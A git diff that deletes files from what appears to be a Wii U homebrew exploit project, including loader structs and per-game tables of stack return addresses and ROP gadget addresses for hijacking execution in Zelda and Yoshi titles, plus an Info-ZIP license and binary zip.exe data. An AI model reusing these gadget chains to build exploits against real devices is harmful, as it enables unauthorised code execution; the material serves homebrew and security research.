char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_t; - -typedef struct _loader_globals_550_t -{ - int sgFinishedLoadingBuffer; - int sgFileType; - int sgProcId; - int sgGotBytes; - int sgTotalBytes; - int sgFileOffset; - int sgBufferNumber; - int sgBounceError; - char sgLoadName[0x1000]; -} __attribute__((packed)) loader_globals_550_t; - -#ifdef __cplusplus -} -#endif - -#endif // __LOADER_DEFS_H_ diff --git a/dsrom/vwii_loader/structs.h b/dsrom/vwii_loader/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/dsrom/vwii_loader/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/dsrom/vwii_loader/types.h b/dsrom/vwii_loader/types.h deleted file mode 100644 index e9194b3..0000000 --- a/dsrom/vwii_loader/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/dsrom/yoshids_defs.s b/dsrom/yoshids_defs.s deleted file mode 100644 index daefa09..0000000 --- a/dsrom/yoshids_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B5E4-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02206F7C) -BCTRL equ (RPX_OFFSET + 0x02206EB4) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3508) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3134) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001068) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02179060) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277A3C) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018910) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AE948) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4B0) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DBC) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057874) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018998) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214919C) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240F4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x022218E0) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221CFC) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222178C) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CD0) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB24) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220C44) -_START_EXIT equ (RPX_OFFSET + 0x02026944) diff --git a/dsrom/zeldaph_defs.s b/dsrom/zeldaph_defs.s deleted file mode 100644 index 98ea982..0000000 --- a/dsrom/zeldaph_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10799D24-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8F938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16443400) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204AB1C) -BCTRL equ (RPX_OFFSET + 0x02003CF0) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A9E30) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A9A08) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02000BA8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217F988) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227E524) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018548) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5270) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F0BC) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02088050) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205C438) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x020185D0) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214FAC4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02023F14) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222832C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02228748) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022281D8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x020068C4) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201F97C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x022278FC) -_START_EXIT equ (RPX_OFFSET + 0x02025FB0) diff --git a/dsrom/zeldast_defs.s b/dsrom/zeldast_defs.s deleted file mode 100644 index b1a606e..0000000 --- a/dsrom/zeldast_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079C564-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C92938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16441D00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020ABF18) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020ABAF0) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02181A50) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022815B4) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018A88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B7358) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F610) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02088270) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B0C8) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B10) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02151B84) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202441C) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222B28C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222B6A8) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222B138) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FE74) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222AD7C) -_START_EXIT equ (RPX_OFFSET + 0x02026544) diff --git a/dsrom/zip/LICENSE b/dsrom/zip/LICENSE deleted file mode 100644 index bcfe47e..0000000 --- a/dsrom/zip/LICENSE +++ /dev/null @@ -1,60 +0,0 @@ -This is version 2007-Mar-4 of the Info-ZIP license. -The definitive version of this document should be available at -ftp://ftp.info-zip.org/pub/infozip/license.html indefinitely and -a copy at http://www.info-zip.org/pub/infozip/license.html. - - -Copyright (c) 1990-2007 Info-ZIP. All rights reserved. - -For the purposes of this copyright and license, "Info-ZIP" is defined as -the following set of individuals: - - Mark Adler, John Bush, Karl Davis, Harald Denker, Jean-Michel Dubois, - Jean-loup Gailly, Hunter Goatley, Ed Gordon, Ian Gorman, Chris Herborth, - Dirk Haase, Greg Hartwig, Robert Heath, Jonathan Hudson, Paul Kienitz, - David Kirschbaum, Johnny Lee, Onno van der Linden, Igor Mandrichenko, - Steve P. Miller, Sergio Monesi, Keith Owens, George Petrov, Greg Roelofs, - Kai Uwe Rommel, Steve Salisbury, Dave Smith, Steven M. Schweda, - Christian Spieler, Cosmin Truta, Antoine Verheijen, Paul von Behren, - Rich Wales, Mike White. - -This software is provided "as is," without warranty of any kind, express -or implied. In no event shall Info-ZIP or its contributors be held liable -for any direct, indirect, incidental, special or consequential damages -arising out of the use of or inability to use this software. - -Permission is granted to anyone to use this software for any purpose, -including commercial applications, and to alter it and redistribute it -freely, subject to the above disclaimer and the following restrictions: - - 1. Redistributions of source code (in whole or in part) must retain - the above copyright notice, definition, disclaimer, and this list - of conditions. - - 2. Redistributions in binary form (compiled executables and libraries) - must reproduce the above copyright notice, definition, disclaimer, - and this list of conditions in documentation and/or other materials - provided with the distribution. The sole exception to this condition - is redistribution of a standard UnZipSFX binary (including SFXWiz) as - part of a self-extracting archive; that is permitted without inclusion - of this license, as long as the normal SFX banner has not been removed - from the binary or disabled. - - 3. Altered versions--including, but not limited to, ports to new operating - systems, existing ports with new graphical interfaces, versions with - modified or added functionality, and dynamic, shared, or static library - versions not from Info-ZIP--must be plainly marked as such and must not - be misrepresented as being the original source or, if binaries, - compiled from the original source. Such altered versions also must not - be misrepresented as being Info-ZIP releases--including, but not - limited to, labeling of the altered versions with the names "Info-ZIP" - (or any variation thereof, including, but not limited to, different - capitalizations), "Pocket UnZip," "WiZ" or "MacZip" without the - explicit permission of Info-ZIP. Such altered versions are further - prohibited from misrepresentative use of the Zip-Bugs or Info-ZIP - e-mail addresses or the Info-ZIP URL(s), such as to imply Info-ZIP - will provide support for the altered versions. - - 4. Info-ZIP retains the right to use the names "Info-ZIP," "Zip," "UnZip," - "UnZipSFX," "WiZ," "Pocket UnZip," "Pocket Zip," and "MacZip" for its - own source and binary releases. diff --git a/dsrom/zip/zip.exe b/dsrom/zip/zip.exe deleted file mode 100644 index 65de183062d5fbcf081cb861d5ee6cdd8ba7ecfa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 290816 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 